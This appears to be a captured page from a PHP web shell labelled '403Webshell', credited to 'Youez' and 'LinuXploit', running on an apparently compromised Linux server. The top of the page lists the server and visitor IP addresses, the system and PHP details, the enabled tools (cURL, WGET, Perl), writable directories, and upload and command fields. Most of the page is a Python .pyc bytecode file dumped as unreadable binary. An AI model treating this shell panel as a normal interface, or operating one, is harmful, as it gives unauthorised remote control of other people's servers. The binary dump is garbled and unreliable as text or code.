403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.73
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/stack_data/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/stack_data/__pycache__/serializing.cpython-311.pyc
�

���cD����ddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZddlm
Z
mZmZddlmZmZmZmZmZmZddlmZeje��ZGd�d	��ZdS)
�N)�Counter)�escape)�	FrameType�
TracebackType)�Union�Iterable�List)�style_with_executing_node�Options�Line�	FrameInfo�Variable�RepeatedFrames)�some_strc�D�eZdZdddddddddddddd�
d�Zddeefd	�Zd
edefd�Zddeefd�Z	d
e
eee
fde
efd�Zde
defd�Zdeeeefdefd�Zd�Zdedefd�Zdede
efd�Zdedefd�Zd�Zdefd�Zdedefd�ZdS)�
SerializerNFT�monokaiz
bg:#005080)
�options�	pygmented�show_executing_node�pygments_formatter_cls�pygments_formatter_kwargs�pygments_style�executing_node_modifier�use_code_qualname�strip_leading_indent�html�chain�collapse_repeated_frames�show_variablesc
��|�t��}|r;|js4|rt||��}|�|
rddlm}nddlm}|dd|i|pi��|_||_||_|	|_	|
|_
||_||_||_
|
|_dS)Nr)�
HtmlFormatter)�Terminal256Formatter�style�)r�pygments_formatterr
�pygments.formatters.htmlr"�pygments.formatters.terminal256r#rrrrrrrr )�selfrrrrrrrrrrrrr s              �8/usr/lib/python3/dist-packages/stack_data/serializing.py�__init__zSerializer.__init__s��"�?��i�i�G��	�W�7�	�"�
�!:�"�$;�"�"��&�-����������������*@�)?�*�*�$�*�+�1�r�*�*�G�&�
#���!2���$8��!���	���
����(@��%�,������returnc���|�tj��d}g}|jr�|j�B|�|j��}t
j���|dd<nO|j�H|j	sA|�|j��}t
j
���|dd<|�|�|����|S)N�����tail)
�sys�exc_infor�	__cause__�format_exception�	traceback�_cause_message�strip�__context__�__suppress_context__�_context_message�append�format_traceback_part)r)�e�results   r*r5zSerializer.format_exceptionJs����9�����q�!�A����:�	H��{�&��.�.�q�{�;�;��%.�%=�%C�%C�%E�%E��r�
�6�"�"���*�1�3I�*��.�.�q�}�=�=��%.�%?�%E�%E�%G�%G��r�
�6�"��
�
�d�0�0��3�3�4�4�4��
r,r>c	���t|�|jptj��d��tt|��jt|�����d���S)N�)�type�message�)�frames�	exceptionr1)�dict�format_stack�
__traceback__r2r3rB�__name__r)r)r>s  r*r=z Serializer.format_traceback_part[sh����$�$�Q�_�%I�����q�8I�J�J���!�W�W�%� ��������

�
�
�	
r,c	��|�tj��j}t|�tj||j|j�������S)N)r)	�inspect�currentframe�f_back�list�format_stack_datar
�
stack_datarr)r)�frame_or_tbs  r*rHzSerializer.format_stackesa����!�.�0�0�7�K���"�"��$���L�-1�-J����
�
�
�
�	
r,�stackc#�K�|D]t}t|t��r:|�|��s�-tdddi|�|����V��Qtdddi|�|����V��udS)NrB�frame�repeated_framesr%)�
isinstancer
�should_include_framerG�format_frame�format_repeated_frames)r)rS�items   r*rPzSerializer.format_stack_datass������	X�	X�D��$�	�*�*�
X��0�0��6�6����C�C��C�4�+<�+<�T�+B�+B�C�C�C�C�C�C��W�W� 1�W�T�5P�5P�QU�5V�5V�W�W�W�W�W�W�
	X�	Xr,rVc��tt|j�����d����}t	d�|D�����S)Nc�:�|d|ddjfS)Nr/r)�co_name)r[s r*�<lambda>z3Serializer.format_repeated_frames.<locals>.<lambda>�s��t�A�w�h��Q���
�(:�;�r,��keyc�H�g|]\\}}}t|j||����� S))�name�lineno�count)rGr^)�.0�coderdres    r*�
<listcomp>z5Serializer.format_repeated_frames.<locals>.<listcomp>�sL�����*�N�T�6�E����!�������r,)rE)�sortedr�
frame_keys�itemsrG)r)rV�countss   r*rZz!Serializer.format_repeated_frames~sm����O�.�/�/�5�5�7�7�;�;�
�
�
�����.4�
���	
�	
�	
�		
r,rUc
��t|t��st||j��}t|jr|j���n|jj|j	|j
t|�|j
�������}|jr%t|�|����|d<|S)N)rc�filenamerd�lines�	variables)rWr
rrGr�	executing�
code_qualnamergr^rnrdrO�format_linesror �format_variables)r)rUr?s   r*rYzSerializer.format_frame�s����%��+�+�	3��e�T�\�2�2�E���)�(���-�-�/�/�/��Z�'��^��<��t�(�(���5�5�6�6�	
�	
�	
����	E�"&�t�'<�'<�U�'C�'C�"D�"D�F�;���
r,c#�K�|D]M}t|t��r$tdddi|�|����V��;td���V��NdS)NrB�line�line_gap)rBr%)rWrrG�format_line)r)rorvs   r*rszSerializer.format_lines�s{�����	,�	,�D��$��%�%�
,��A�A��A�$�*:�*:�4�*@�*@�A�A�A�A�A�A��
�+�+�+�+�+�+�+�		,�	,r,rvc	��t|j|j|�|j|j|j������S)N)r�escape_htmlr)�
is_currentrd�text)rGr{rd�renderrrr)r)rvs  r*rxzSerializer.format_line�sI������;�����.� �I�%)�%>����
�
�
�	
r,�
frame_infoc#��K�	t|jd����D]}|�|��V��dS#t$rt�d��YdSwxYw)Nc��|jS�N)rc)�vs r*r_z-Serializer.format_variables.<locals>.<lambda>�s��!�&�r,r`z Error in getting frame variables)rirp�format_variable�	Exception�logrF)r)r~�vars   r*rtzSerializer.format_variables�s�����	>��j�2�8H�8H�I�I�I�
0�
0���*�*�3�/�/�/�/�/�/�
0�
0���	>�	>�	>��M�M�<�=�=�=�=�=�=�	>���s�17�$A�Ar�c��t|�|j��|�|�|j�������S)N)rc�value)rG�format_variable_partrc�format_variable_valuer�)r)r�s  r*r�zSerializer.format_variable�sM����*�*�3�8�4�4��+�+�D�,F�,F�s�y�,Q�,Q�R�R�
�
�
�	
r,c�2�|jrt|��S|Sr�)rrz)r)r|s  r*r�zSerializer.format_variable_part�s���9�	��t�$�$�$��Kr,c� �t|��Sr�)�repr)r)r�s  r*r�z Serializer.format_variable_value�s���E�{�{�r,c��dS)NTr%)r)r~s  r*rXzSerializer.should_include_frame�s���tr,r�)rJ�
__module__�__qualname__r+r	rGr5�
BaseExceptionr=rHrrr
rrPrZrrrYrsrrxrtrr�r��strr��boolrXr%r,r*rrs�������� �#�"&� � ,��!�
��!%��0-�0-�0-�0-�0-�d��$�t�*�����"
�}�
��
�
�
�
�
�
��T�
�
�
�
�
�	X��e�I�~�$=�>�?�	X�	�$��	X�	X�	X�	X�
�n�
��
�
�
�
� �%�	�9�m�(K�"L��QU�����$,�,�,�	
��	
��	
�	
�	
�	
�>�9�>��$��>�>�>�>�
�8�
��
�
�
�
�����c������y��T������r,r)rL�loggingr2r6�collectionsrrrrz�typesrr�typingrrr	rQr
rrr
rr�stack_data.utilsr�	getLoggerrJr�rr%r,r*�<module>r�s8����������
�
�
�
�����������&�&�&�&�&�&�*�*�*�*�*�*�*�*�(�(�(�(�(�(�(�(�(�(�����������������&�%�%�%�%�%��g���!�!��r�r�r�r�r�r�r�r�r�rr,

Youez - 2016 - github.com/yon3zu
LinuXploit